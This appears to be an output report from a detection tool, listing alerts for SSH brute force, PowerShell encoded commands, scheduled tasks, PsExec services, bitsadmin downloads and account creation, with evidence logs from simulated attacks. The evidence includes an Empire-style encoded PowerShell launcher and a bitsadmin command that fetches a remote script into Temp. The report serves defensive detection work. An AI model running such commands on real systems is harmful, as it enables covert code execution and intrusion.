  1. 2026-10-05 16:00:00Z Host - Source unifiedlog Origin mac_ssh.ndjson:2
    sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51000 ssh2
  2. 2026-10-05 16:00:07Z Host - Source unifiedlog Origin mac_ssh.ndjson:3
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51001 ssh2
  3. 2026-10-05 16:00:14Z Host - Source unifiedlog Origin mac_ssh.ndjson:4
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51002 ssh2
  4. 2026-10-05 16:00:21Z Host - Source unifiedlog Origin mac_ssh.ndjson:5
    sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51003 ssh2
  5. 2026-10-05 16:00:28Z Host - Source unifiedlog Origin mac_ssh.ndjson:6
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51004 ssh2
  6. 2026-10-05 16:00:35Z Host - Source unifiedlog Origin mac_ssh.ndjson:7
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51005 ssh2
  7. 2026-10-05 16:00:42Z Host - Source unifiedlog Origin mac_ssh.ndjson:8
    sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51006 ssh2
  8. 2026-10-05 16:00:49Z Host - Source unifiedlog Origin mac_ssh.ndjson:9
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51007 ssh2
  9. 2026-10-05 16:00:56Z Host - Source unifiedlog Origin mac_ssh.ndjson:10
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51008 ssh2
  10. 2026-10-05 16:03:30Z Host - Source unifiedlog Origin mac_ssh.ndjson:14
    sshd-session: Accepted password for opsadmin from 203.0.113.77 port 51099 ssh2

1 event(s) between the first 9 and the last one are not shown.

False positives to rule out

  • A legitimate user who retried many times before remembering the password

Rule

Title
macOS SSH Login After Brute Force (correlation)
ID
73fb79a5-6e95-4cd8-9960-c9f0e70c2e1d
Level
high
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_ssh_login_after_bruteforce.yml
References
medium

PowerShell Encoded Command Execution

First seen
2020-09-20 06:57:49Z
Host
WORKSTATION6.theshire.local
Events
1 event(s)

What the rule looks for

Detects PowerShell (powershell.exe or pwsh.exe, or a renamed copy when Sysmon records its OriginalFileName) started with -EncodedCommand or one of its abbreviations such as -e, -enc or -ec. Attackers pass Base64 encoded scripts this way to hide the real command from analysts and command-line signatures (Empire and Metasploit launchers, Emotet droppers...).

When
2020-09-20 06:57:49Z
Hosts
WORKSTATION6.theshire.local

What the techniques mean

ATT&CK
T1027.010, T1059.001 (Execution, Stealth)
T1027.010
Obfuscated Files or Information: Command Obfuscation
Stealth

Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze.

T1059.001
Command and Scripting Interpreter: PowerShell
Execution

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.

Evidence: 1 event(s)

  1. 2020-09-20 06:57:49Z Host WORKSTATION6.theshire.local Source security 4688 Origin empire_smbexec_dcerpc_smb_svcctl_excerpt.json:5
    CommandLine=C:\Windows\System32\WindowsPowershell\v1.0\powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAFIAcwBpAG8ATgBUAGEAQgBMAEUALgBQAFMAVgBFAHIAcwBJAE8AbgAuAE0AYQBqAE8AUgAgAC0AZwBlACAAMwApAHsAJAA2ADgANgA2AD0AWwBSAEUAZgBdAC4AQQBzAHMAZ…

False positives to rule out

  • Management and deployment agents that pass scripts as encoded commands (SCCM, Intune, RMM tools, some installers)
  • A -Command script or -File script arguments containing a standalone -e, -en or -ec, or /e, /en or /ec (for example robocopy /E or xcopy /E run through powershell -Command)

Rule

Title
PowerShell Encoded Command Execution
ID
6a55e742-68fb-4b56-8a9d-3364684fe986
Level
medium
Status
test
Author
frack113 (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_powershell_encoded_command.yml
References
medium

PowerShell Encoded Command Execution

First seen
2020-09-20 06:57:49Z
Host
WORKSTATION6.theshire.local
Events
1 event(s)

What the rule looks for

Detects PowerShell (powershell.exe or pwsh.exe, or a renamed copy when Sysmon records its OriginalFileName) started with -EncodedCommand or one of its abbreviations such as -e, -enc or -ec. Attackers pass Base64 encoded scripts this way to hide the real command from analysts and command-line signatures (Empire and Metasploit launchers, Emotet droppers...).

When
2020-09-20 06:57:49Z
Hosts
WORKSTATION6.theshire.local

What the techniques mean

ATT&CK
T1027.010, T1059.001 (Execution, Stealth)
T1027.010
Obfuscated Files or Information: Command Obfuscation
Stealth

Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze.

T1059.001
Command and Scripting Interpreter: PowerShell
Execution

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.

Evidence: 1 event(s)

  1. 2020-09-20 06:57:49Z Host WORKSTATION6.theshire.local Source sysmon 1 Origin empire_smbexec_dcerpc_smb_svcctl_excerpt.json:6
    CommandLine=C:\Windows\System32\WindowsPowershell\v1.0\powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAFIAcwBpAG8ATgBUAGEAQgBMAEUALgBQAFMAVgBFAHIAcwBJAE8AbgAuAE0AYQBqAE8AUgAgAC0AZwBlACAAMwApAHsAJAA2ADgANgA2AD0AWwBSAEUAZgBdAC4AQQBzAHMAZ…

False positives to rule out

  • Management and deployment agents that pass scripts as encoded commands (SCCM, Intune, RMM tools, some installers)
  • A -Command script or -File script arguments containing a standalone -e, -en or -ec, or /e, /en or /ec (for example robocopy /E or xcopy /E run through powershell -Command)

Rule

Title
PowerShell Encoded Command Execution
ID
6a55e742-68fb-4b56-8a9d-3364684fe986
Level
medium
Status
test
Author
frack113 (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_powershell_encoded_command.yml
References
medium

Suspicious Scheduled Task Created

First seen
2020-09-21 07:15:47Z
Host
WORKSTATION5.theshire.local
Events
1 event(s)

What the rule looks for

Detects the creation of a scheduled task (event 4698) whose action runs a command interpreter, script host or LOLBin (cmd, PowerShell, rundll32, regsvr32, mshta, wscript, cscript...) or a program stored in a user-writable staging folder (Temp, Public, Roaming, Desktop, Downloads, ProgramData...). Attackers register such tasks for persistence, privilege escalation and remote execution (e.g. Impacket atexec, Empire).

When
2020-09-21 07:15:47Z
Hosts
WORKSTATION5.theshire.local

What the technique means

ATT&CK
T1053.005 (Execution, Persistence, Privilege Escalation)
T1053.005
Scheduled Task/Job: Scheduled Task
Execution, Persistence, Privilege Escalation

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows.

Evidence: 1 event(s)

  1. 2020-09-21 07:15:47Z Host WORKSTATION5.theshire.local Source security 4698 Origin empire_schtasks_creation_standard_user_excerpt.json:1
    TaskName=\MordorSchtask SubjectUserName=pgustavo

False positives to rule out

  • Administration scripts, deployment tools and GPO-deployed tasks that run cmd.exe or PowerShell (baseline them by TaskName and Author)
  • Software installers or updaters that register a task running from a Temp or ProgramData folder
  • Windows servicing re-registering built-in tasks whose action is rundll32.exe or cmd.exe

Rule

Title
Suspicious Scheduled Task Created
ID
b2f53816-dce1-4a25-82ba-f9879e134928
Level
medium
Status
test
Author
Nasreddine Bencherchali (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_security_susp_scheduled_task_created.yml
References
medium

PsExec-Like Service Installed

First seen
2020-10-19 03:30:46Z
Host
WORKSTATION5
Events
1 event(s)

What the rule looks for

Detects the installation (System event 7045) of the helper service of PsExec (PSEXESVC) or of a similar remote execution tool (PAExec, RemCom, CSExec). These tools run commands as SYSTEM, locally or on a remote host over SMB; administrators use them, and so do attackers to move laterally.

When
2020-10-19 03:30:46Z
Hosts
WORKSTATION5

What the technique means

ATT&CK
T1569.002 (Execution)
T1569.002
System Services: Service Execution
Execution

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.

Evidence: 1 event(s)

  1. 2020-10-19 03:30:46Z Host WORKSTATION5 Source system 7045 Origin cmd_psexec_lsa_secrets_dump_service_excerpt.json:2
    ServiceName=PSEXESVC ImagePath=%SystemRoot%\PSEXESVC.exe

False positives to rule out

  • Administrators and IT tools that use PsExec or PAExec for remote maintenance

Rule

Title
PsExec-Like Service Installed
ID
4d9d8b96-f9b9-4454-86d2-5dc723e625bb
Level
medium
Status
test
Author
Thomas Patzke, Nasreddine Bencherchali (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_system_psexec_like_service_installed.yml
References
medium

Windows Logon Brute Force From Single Source

First seen
2020-10-22 08:29:55Z
Host
WORKSTATION5.theshire.local
Events
5 event(s)

What the rule looks for

At least 5 failed Windows logons (wrong password, unknown user name or locked-out account) from the same source within 1 minute, the source being the client IP address and workstation name. Password guessing and password spraying tools produce such bursts, far faster than a person retyping a password.

When
2020-10-22 08:29:55Z to 2020-10-22 08:29:55Z
Hosts
WORKSTATION5.theshire.local
Grouped by
IpAddress = - WorkstationName = WORKSTATION5

What the techniques mean

ATT&CK
T1110.001, T1110.003 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

T1110.003
Brute Force: Password Spraying
Credential Access

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain.

Evidence: 5 event(s)

  1. 2020-10-22 08:29:55Z Host WORKSTATION5.theshire.local Source security 4625 Origin purplesharp_ad_playbook_I_excerpt.json:1
    SubjectUserName=pgustavo TargetUserName=lrodriguez IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a
  2. 2020-10-22 08:29:55Z Host WORKSTATION5.theshire.local Source security 4625 Origin purplesharp_ad_playbook_I_excerpt.json:2
    SubjectUserName=pgustavo TargetUserName=pgustavo IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a
  3. 2020-10-22 08:29:55Z Host WORKSTATION5.theshire.local Source security 4625 Origin purplesharp_ad_playbook_I_excerpt.json:3
    SubjectUserName=pgustavo TargetUserName=sysmonsvc IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a
  4. 2020-10-22 08:29:55Z Host WORKSTATION5.theshire.local Source security 4625 Origin purplesharp_ad_playbook_I_excerpt.json:4
    SubjectUserName=pgustavo TargetUserName=sbeavers IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a
  5. 2020-10-22 08:29:55Z Host WORKSTATION5.theshire.local Source security 4625 Origin purplesharp_ad_playbook_I_excerpt.json:5
    SubjectUserName=pgustavo TargetUserName=mscott IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a

False positives to rule out

  • A service, scheduled task, mapped drive or mobile device retrying an outdated password in a loop
  • A shared host (terminal server, jump host, NAT gateway) where several users mistype their passwords at the same time

Rule

Title
Windows Logon Brute Force From Single Source (correlation)
ID
6cf25939-c0a0-43f8-bb43-34d254f459cb
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/windows/win_security_logon_bruteforce.yml
References
medium

File Download Via Bitsadmin

First seen
2020-10-23 06:36:43Z
Host
WORKSTATION5
Events
1 event(s)

What the rule looks for

Detects bitsadmin.exe running a BITS transfer with /transfer, or adding an http(s) URL to a job with /addfile. The download is then performed by the BITS service itself, can survive reboots and blends with Windows Update traffic, which makes bitsadmin a classic way to bring attacker tools onto a host.

When
2020-10-23 06:36:43Z
Hosts
WORKSTATION5

What the techniques mean

ATT&CK
T1105, T1197 (Execution, Persistence, Stealth, Command and Control)
T1105
Ingress Tool Transfer
Command and Control

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp.

T1197
BITS Jobs
Execution, Persistence, Stealth

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).

Evidence: 1 event(s)

  1. 2020-10-23 06:36:43Z Host WORKSTATION5 Source security 4688 Origin cmd_bitsadmin_download_psh_script_excerpt.json:1
    CommandLine=bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Users\wardog\AppData\Local\Temp\bitsadmin1_flag.ps1 NewProcessName=C:\Windows…

False positives to rule out

  • Installers, update agents or administrator scripts that still download files with bitsadmin instead of the BITS PowerShell cmdlets

Rule

Title
File Download Via Bitsadmin
ID
32b87f74-31c8-401e-9efe-288445b0431b
Level
medium
Status
test
Author
Michael Haag, FPT.EagleEye (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_bitsadmin_download.yml
References
medium

File Download Via Bitsadmin

First seen
2020-10-23 06:36:43Z
Host
WORKSTATION5
Events
1 event(s)

What the rule looks for

Detects bitsadmin.exe running a BITS transfer with /transfer, or adding an http(s) URL to a job with /addfile. The download is then performed by the BITS service itself, can survive reboots and blends with Windows Update traffic, which makes bitsadmin a classic way to bring attacker tools onto a host.

When
2020-10-23 06:36:43Z
Hosts
WORKSTATION5

What the techniques mean

ATT&CK
T1105, T1197 (Execution, Persistence, Stealth, Command and Control)
T1105
Ingress Tool Transfer
Command and Control

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp.

T1197
BITS Jobs
Execution, Persistence, Stealth

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).

Evidence: 1 event(s)

  1. 2020-10-23 06:36:43Z Host WORKSTATION5 Source sysmon 1 Origin cmd_bitsadmin_download_psh_script_excerpt.json:5
    CommandLine=bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Users\wardog\AppData\Local\Temp\bitsadmin1_flag.ps1 Image=C:\Windows\System32…

False positives to rule out

  • Installers, update agents or administrator scripts that still download files with bitsadmin instead of the BITS PowerShell cmdlets

Rule

Title
File Download Via Bitsadmin
ID
32b87f74-31c8-401e-9efe-288445b0431b
Level
medium
Status
test
Author
Michael Haag, FPT.EagleEye (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_bitsadmin_download.yml
References
medium

Suspicious Scheduled Task Created

First seen
2020-12-19 07:00:22Z
Host
WORKSTATION6.theshire.local
Events
1 event(s)

What the rule looks for

Detects the creation of a scheduled task (event 4698) whose action runs a command interpreter, script host or LOLBin (cmd, PowerShell, rundll32, regsvr32, mshta, wscript, cscript...) or a program stored in a user-writable staging folder (Temp, Public, Roaming, Desktop, Downloads, ProgramData...). Attackers register such tasks for persistence, privilege escalation and remote execution (e.g. Impacket atexec, Empire).

When
2020-12-19 07:00:22Z
Hosts
WORKSTATION6.theshire.local

What the technique means

ATT&CK
T1053.005 (Execution, Persistence, Privilege Escalation)
T1053.005
Scheduled Task/Job: Scheduled Task
Execution, Persistence, Privilege Escalation

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows.

Evidence: 1 event(s)

  1. 2020-12-19 07:00:22Z Host WORKSTATION6.theshire.local Source security 4698 Origin schtask_create_excerpt.json:1
    TaskName=\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager SubjectUserName=pgustavo

False positives to rule out

  • Administration scripts, deployment tools and GPO-deployed tasks that run cmd.exe or PowerShell (baseline them by TaskName and Author)
  • Software installers or updaters that register a task running from a Temp or ProgramData folder
  • Windows servicing re-registering built-in tasks whose action is rundll32.exe or cmd.exe

Rule

Title
Suspicious Scheduled Task Created
ID
b2f53816-dce1-4a25-82ba-f9879e134928
Level
medium
Status
test
Author
Nasreddine Bencherchali (Nextron Systems) (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_security_susp_scheduled_task_created.yml
References
medium

SSH Brute Force

First seen
2024-03-10 09:05:42Z
Host
web01
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts from the same source address within 5 minutes, the signature of an automated password guessing attack.

When
2024-03-10 09:05:42Z to 2024-03-10 09:06:45Z
Hosts
web01
Grouped by
src_ip = 203.0.113.45

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2024-03-10 09:05:42Z Host web01 Source auth Origin auth.log:6
    Failed password for invalid user oracle from 203.0.113.45 port 40022 ssh2
  2. 2024-03-10 09:05:49Z Host web01 Source auth Origin auth.log:7
    Failed password for root from 203.0.113.45 port 40030 ssh2
  3. 2024-03-10 09:05:56Z Host web01 Source auth Origin auth.log:8
    Failed password for root from 203.0.113.45 port 40038 ssh2
  4. 2024-03-10 09:06:03Z Host web01 Source auth Origin auth.log:9
    Failed password for invalid user admin from 203.0.113.45 port 40046 ssh2
  5. 2024-03-10 09:06:10Z Host web01 Source auth Origin auth.log:10
    Failed password for invalid user admin from 203.0.113.45 port 40054 ssh2
  6. 2024-03-10 09:06:17Z Host web01 Source auth Origin auth.log:11
    Failed password for invalid user test from 203.0.113.45 port 40062 ssh2
  7. 2024-03-10 09:06:24Z Host web01 Source auth Origin auth.log:12
    Failed password for root from 203.0.113.45 port 40070 ssh2
  8. 2024-03-10 09:06:31Z Host web01 Source auth Origin auth.log:13
    Failed password for opsadmin from 203.0.113.45 port 40078 ssh2
  9. 2024-03-10 09:06:38Z Host web01 Source auth Origin auth.log:14
    Failed password for opsadmin from 203.0.113.45 port 40086 ssh2
  10. 2024-03-10 09:06:45Z Host web01 Source auth Origin auth.log:15
    Failed password for invalid user ubuntu from 203.0.113.45 port 40094 ssh2

False positives to rule out

  • A misconfigured script or service retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
SSH Brute Force (correlation)
ID
44043ef0-67f0-4380-9c98-b348be632e58
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_bruteforce.yml
References
medium

SSH Password Spraying

First seen
2024-03-10 09:05:42Z
Host
web01
Events
8 event(s)

What the rule looks for

Failed SSH password attempts against at least 5 different user names from the same source address within 10 minutes. Trying many accounts with a few common passwords avoids per-account lockouts.

When
2024-03-10 09:05:42Z to 2024-03-10 09:06:31Z
Hosts
web01
Grouped by
src_ip = 203.0.113.45

What the technique means

ATT&CK
T1110.003 (Credential Access)
T1110.003
Brute Force: Password Spraying
Credential Access

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain.

Evidence: 8 event(s)

  1. 2024-03-10 09:05:42Z Host web01 Source auth Origin auth.log:6
    Failed password for invalid user oracle from 203.0.113.45 port 40022 ssh2
  2. 2024-03-10 09:05:49Z Host web01 Source auth Origin auth.log:7
    Failed password for root from 203.0.113.45 port 40030 ssh2
  3. 2024-03-10 09:05:56Z Host web01 Source auth Origin auth.log:8
    Failed password for root from 203.0.113.45 port 40038 ssh2
  4. 2024-03-10 09:06:03Z Host web01 Source auth Origin auth.log:9
    Failed password for invalid user admin from 203.0.113.45 port 40046 ssh2
  5. 2024-03-10 09:06:10Z Host web01 Source auth Origin auth.log:10
    Failed password for invalid user admin from 203.0.113.45 port 40054 ssh2
  6. 2024-03-10 09:06:17Z Host web01 Source auth Origin auth.log:11
    Failed password for invalid user test from 203.0.113.45 port 40062 ssh2
  7. 2024-03-10 09:06:24Z Host web01 Source auth Origin auth.log:12
    Failed password for root from 203.0.113.45 port 40070 ssh2
  8. 2024-03-10 09:06:31Z Host web01 Source auth Origin auth.log:13
    Failed password for opsadmin from 203.0.113.45 port 40078 ssh2

False positives to rule out

  • A shared jump host where several users mistype their passwords in a short time

Rule

Title
SSH Password Spraying (correlation)
ID
a5668195-278b-4b24-aaf9-53ee8ff41701
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_password_spraying.yml
References
medium

Local User Account Created

First seen
2024-03-10 09:08:12Z
Host
web01
Events
1 event(s)

What the rule looks for

A local user account was created with useradd. Attackers create accounts to keep access to a compromised host.

When
2024-03-10 09:08:12Z
Hosts
web01

What the technique means

ATT&CK
T1136.001 (Persistence)
T1136.001
Create Account: Local Account
Persistence

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Evidence: 1 event(s)

  1. 2024-03-10 09:08:12Z Host web01 Source auth Origin auth.log:23
    new user: name=svc_update, UID=1003, GID=1003, home=/home/svc_update, shell=/bin/bash, from=/dev/pts/1

False positives to rule out

  • Administrators creating accounts
  • Package installations that create service accounts

Rule

Title
Local User Account Created
ID
30bda398-aea5-47d4-bc2c-0a7a01d09698
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_local_user_created.yml
References
medium

SSH Brute Force

First seen
2024-04-03 02:00:05Z
Host
backup01
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts from the same source address within 5 minutes, the signature of an automated password guessing attack.

When
2024-04-03 02:00:05Z to 2024-04-03 02:01:08Z
Hosts
backup01
Grouped by
src_ip = 192.0.2.50

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2024-04-03 02:00:05Z Host backup01 Source auth Origin auth_retry_storm.log:2
    Failed password for backup from 192.0.2.50 port 40000 ssh2
  2. 2024-04-03 02:00:12Z Host backup01 Source auth Origin auth_retry_storm.log:3
    Failed password for backup from 192.0.2.50 port 40001 ssh2
  3. 2024-04-03 02:00:19Z Host backup01 Source auth Origin auth_retry_storm.log:4
    Failed password for backup from 192.0.2.50 port 40002 ssh2
  4. 2024-04-03 02:00:26Z Host backup01 Source auth Origin auth_retry_storm.log:5
    Failed password for backup from 192.0.2.50 port 40003 ssh2
  5. 2024-04-03 02:00:33Z Host backup01 Source auth Origin auth_retry_storm.log:6
    Failed password for backup from 192.0.2.50 port 40004 ssh2
  6. 2024-04-03 02:00:40Z Host backup01 Source auth Origin auth_retry_storm.log:7
    Failed password for backup from 192.0.2.50 port 40005 ssh2
  7. 2024-04-03 02:00:47Z Host backup01 Source auth Origin auth_retry_storm.log:8
    Failed password for backup from 192.0.2.50 port 40006 ssh2
  8. 2024-04-03 02:00:54Z Host backup01 Source auth Origin auth_retry_storm.log:9
    Failed password for backup from 192.0.2.50 port 40007 ssh2
  9. 2024-04-03 02:01:01Z Host backup01 Source auth Origin auth_retry_storm.log:10
    Failed password for backup from 192.0.2.50 port 40008 ssh2
  10. 2024-04-03 02:01:08Z Host backup01 Source auth Origin auth_retry_storm.log:11
    Failed password for backup from 192.0.2.50 port 40009 ssh2

False positives to rule out

  • A misconfigured script or service retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
SSH Brute Force (correlation)
ID
44043ef0-67f0-4380-9c98-b348be632e58
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_bruteforce.yml
References
medium

SSH Brute Force

First seen
2024-06-03 08:00:00Z
Host
web01
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts from the same source address within 5 minutes, the signature of an automated password guessing attack.

When
2024-06-03 08:00:00Z to 2024-06-03 08:04:57Z
Hosts
web01
Grouped by
src_ip = 203.0.113.77

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2024-06-03 08:00:00Z Host web01 Source auth Origin auth_bruteforce_timing.log:1
    Failed password for root from 203.0.113.77 port 41000 ssh2
  2. 2024-06-03 08:00:33Z Host web01 Source auth Origin auth_bruteforce_timing.log:2
    Failed password for root from 203.0.113.77 port 41001 ssh2
  3. 2024-06-03 08:01:06Z Host web01 Source auth Origin auth_bruteforce_timing.log:3
    Failed password for root from 203.0.113.77 port 41002 ssh2
  4. 2024-06-03 08:01:39Z Host web01 Source auth Origin auth_bruteforce_timing.log:4
    Failed password for root from 203.0.113.77 port 41003 ssh2
  5. 2024-06-03 08:02:12Z Host web01 Source auth Origin auth_bruteforce_timing.log:5
    Failed password for root from 203.0.113.77 port 41004 ssh2
  6. 2024-06-03 08:02:45Z Host web01 Source auth Origin auth_bruteforce_timing.log:6
    Failed password for root from 203.0.113.77 port 41005 ssh2
  7. 2024-06-03 08:03:18Z Host web01 Source auth Origin auth_bruteforce_timing.log:7
    Failed password for root from 203.0.113.77 port 41006 ssh2
  8. 2024-06-03 08:03:51Z Host web01 Source auth Origin auth_bruteforce_timing.log:8
    Failed password for root from 203.0.113.77 port 41007 ssh2
  9. 2024-06-03 08:04:24Z Host web01 Source auth Origin auth_bruteforce_timing.log:9
    Failed password for root from 203.0.113.77 port 41008 ssh2
  10. 2024-06-03 08:04:57Z Host web01 Source auth Origin auth_bruteforce_timing.log:10
    Failed password for root from 203.0.113.77 port 41009 ssh2

False positives to rule out

  • A misconfigured script or service retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
SSH Brute Force (correlation)
ID
44043ef0-67f0-4380-9c98-b348be632e58
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_bruteforce.yml
References
medium

SSH Brute Force

First seen
2024-06-03 09:00:00Z
Host
web01
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts from the same source address within 5 minutes, the signature of an automated password guessing attack.

When
2024-06-03 09:00:00Z to 2024-06-03 09:00:27Z
Hosts
web01
Grouped by
src_ip = 203.0.113.78

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2024-06-03 09:00:00Z Host web01 Source auth Origin auth_bruteforce_timing.log:21
    Failed password for root from 203.0.113.78 port 42000 ssh2
  2. 2024-06-03 09:00:03Z Host web01 Source auth Origin auth_bruteforce_timing.log:22
    Failed password for root from 203.0.113.78 port 42001 ssh2
  3. 2024-06-03 09:00:06Z Host web01 Source auth Origin auth_bruteforce_timing.log:23
    Failed password for root from 203.0.113.78 port 42002 ssh2
  4. 2024-06-03 09:00:09Z Host web01 Source auth Origin auth_bruteforce_timing.log:24
    Failed password for root from 203.0.113.78 port 42003 ssh2
  5. 2024-06-03 09:00:12Z Host web01 Source auth Origin auth_bruteforce_timing.log:25
    Failed password for root from 203.0.113.78 port 42004 ssh2
  6. 2024-06-03 09:00:15Z Host web01 Source auth Origin auth_bruteforce_timing.log:26
    Failed password for root from 203.0.113.78 port 42005 ssh2
  7. 2024-06-03 09:00:18Z Host web01 Source auth Origin auth_bruteforce_timing.log:27
    Failed password for root from 203.0.113.78 port 42006 ssh2
  8. 2024-06-03 09:00:21Z Host web01 Source auth Origin auth_bruteforce_timing.log:28
    Failed password for root from 203.0.113.78 port 42007 ssh2
  9. 2024-06-03 09:00:24Z Host web01 Source auth Origin auth_bruteforce_timing.log:29
    Failed password for root from 203.0.113.78 port 42008 ssh2
  10. 2024-06-03 09:00:27Z Host web01 Source auth Origin auth_bruteforce_timing.log:30
    Failed password for root from 203.0.113.78 port 42009 ssh2

False positives to rule out

  • A misconfigured script or service retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
SSH Brute Force (correlation)
ID
44043ef0-67f0-4380-9c98-b348be632e58
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_bruteforce.yml
References
medium

SSH Brute Force

First seen
2024-06-03 10:00:10Z
Host
web01
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts from the same source address within 5 minutes, the signature of an automated password guessing attack.

When
2024-06-03 10:00:10Z to 2024-06-03 10:00:37Z
Hosts
web01
Grouped by
src_ip = 203.0.113.79

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

